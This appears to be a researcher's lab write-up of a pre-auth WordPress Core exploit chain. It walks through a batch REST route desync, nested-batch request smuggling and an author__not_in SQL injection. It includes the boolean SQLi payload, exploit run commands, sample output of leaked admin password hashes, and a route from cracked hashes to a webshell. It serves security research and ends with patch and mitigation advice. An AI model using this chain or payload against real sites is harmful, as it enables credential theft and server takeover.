joaovicdev@sec:~$

$ cat cve-2026-63030-wp2shell.mdx

CVE-2026-63030: wp2shell — WordPress Core pre-auth REST route confusion → SQLi

[CVE-2026-63030][cve][wordpress][sqli][rce][poc]
PoC & exploit on GitHub

Authorization: this is a deliberately vulnerable, self-contained Docker lab built for education and security research. Run it locally and isolated only — never expose it to the internet, and only point the exploit at this lab or systems you are explicitly authorized to test. Misuse can be a crime.

Summary

wp2shell is a pre-authentication remote code execution chain in WordPress Core, fixed in 6.9.5 and 7.0.2. It stitches together two bugs:

CVEComponentBug
CVE-2026-63030REST API /wp-json/batch/v1Route confusion: a desync between validation and dispatch of batched sub-requests
CVE-2026-60137WP_Query (author__not_in)SQL injection when the value arrives as a string instead of an array

Chained, they let an attacker with no credentials run arbitrary SQL — and, in the full advisory sequence, reach RCE. Versions affected by the RCE chain: 6.9.0–6.9.4 and 7.0.0–7.0.1.

This repository is a full victim lab (WordPress Core 7.0.1 + MySQL on Docker) plus a Python exploit that demonstrates the pre-auth core of the chain: route confusion → blind SQLi → password-hash extraction.

Impact

  • Unauthenticated. No login, no API key — a plain HTTP client is enough.
  • Arbitrary SQL read against the WordPress database via a boolean/time oracle.
  • Credential disclosure: wp_users login names and $wp$2y$... bcrypt hashes are extracted char-by-char, which crack offline into working admin passwords.
  • Path to RCE: with an admin password recovered, log into /wp-admin, upload a malicious plugin (or edit a theme), and land a webshell.

How the chain works

1. The batch desync (serve_batch_request_v1)

In wp-includes/rest-api/class-wp-rest-server.php, the batch handler walks two parallel arrays — $matches (matched route/handler) and $validation (the validation result). A sub-request that fails to parse is pushed into $validation but skips $matches:

class-wp-rest-server.php
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {   // e.g. path "///" -> wp_parse_url() === false
        $validation[] = $single_request;       // enters $validation ONLY
        continue;                              // $matches gets NO entry => desync
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    $validation[] = $error ? $error : true;
}

At dispatch time the handler is read from $matches[$i], while the request body still follows the full index of $requests. A primer sub-request that fails to parse ("///") shifts everything in $matches by one slot — so one sub-request is executed under another's handler.

2. Smuggling GET sub-requests (nested batch)

The batch schema only accepts POST/PUT/PATCH/DELETE (GET is rejected with rest_not_in_enum). The exploit sidesteps this with a batch inside a batch:

outer batch — valid methods only
[ primer("///"),
  carrier = POST /wp/v2/posts   (body = INNER BATCH),
  POST /batch/v1 ]

The carrier validates as a posts create_item (it passes: allow_batch=true, no required params). Because it is not validated as a batch, its body escapes the method-enum check. The outer desync then dispatches the carrier under the /batch/v1 handler stolen from the third sub-request, so serve_batch_request_v1 processes its raw body — this time carrying GET sub-requests.

3. Reaching the SQL sink

inner batch
[ primer("///"),
  GET /wp/v2/users?author_exclude=<PAYLOAD>,   <-- users has no author_exclude => raw value
  GET /wp/v2/posts ]

A second, inner desync runs GET /wp/v2/users (carrying the unsanitized author_exclude) under posts get_items(), which maps author_exclude → author__not_in. In WP_Query, the vulnerable branch only sanitizes arrays:

class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {          // a string SKIPS sanitization
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
        sort( ... );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";   // injection
}

The boolean payload 0) AND (<condition>)-- - turns the WHERE into an oracle (rows returned = true; empty = false), and data is extracted char-by-char via binary search.

Proof of concept

The exploit uses only the Python 3 standard library — no dependencies.

attack flow
outer desync  ──▶ smuggle a nested batch under /batch/v1
inner desync  ──▶ run GET /wp/v2/users under posts get_items()
author_exclude ─▶ raw string into author__not_in => SQLi oracle
binary search ──▶ leak wp_users logins + $wp$2y$ hashes, no auth

Run it

Prerequisites: Docker, Docker Compose, and Python 3.

1. Bring up the vulnerable environment:

terminal 1
docker compose up -d db wordpress      # MySQL + WordPress 7.0.1
docker compose run --rm wpcli          # installs WP, seeds users/content

This provisions a site at http://localhost:8080, an admin and a second victim admin (the hash-extraction target), and one published post (needed for get_items() to return rows). Confirm the vulnerable version:

docker exec wp2shell-cli wp core version   # 7.0.1

2. Fire the exploit:

terminal 2
python3 exploit.py --url http://localhost:8080

Expected output (trimmed):

[+] Route confusion OK: GET /wp/v2/users executed under posts get_items()
[+] Blind SQL injection confirmed (boolean oracle 1=1 vs 1=2)
[+] Credentials extracted (pre-auth, no login):
  ID=1  login=admin
    hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
  ID=2  login=victim
    hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e

Other modes:

python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version"   # arbitrary SQL
python3 exploit.py --url http://localhost:8080 --mode time                # blind time-based
python3 exploit.py --url http://localhost:8080 -v                         # show each query

3. Verify the leaked data is real — compare against the database the exploit never touched:

docker exec wp2shell-db mysql -uroot -prootpass -N \
  -e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"

The hashes should be identical to those the exploit extracted over HTTP.

Mitigation

Update WordPress Core to 6.9.5 / 7.0.2 or later. The patch forces author__not_in to integers (wp_parse_id_list) even when it arrives as a string, and ensures batch errors occupy a slot in both arrays — closing the desync. Compensating controls: a WAF filtering /wp-json/batch/v1, disabling the unauthenticated REST API, and alerting on author_exclude values containing SQL.

References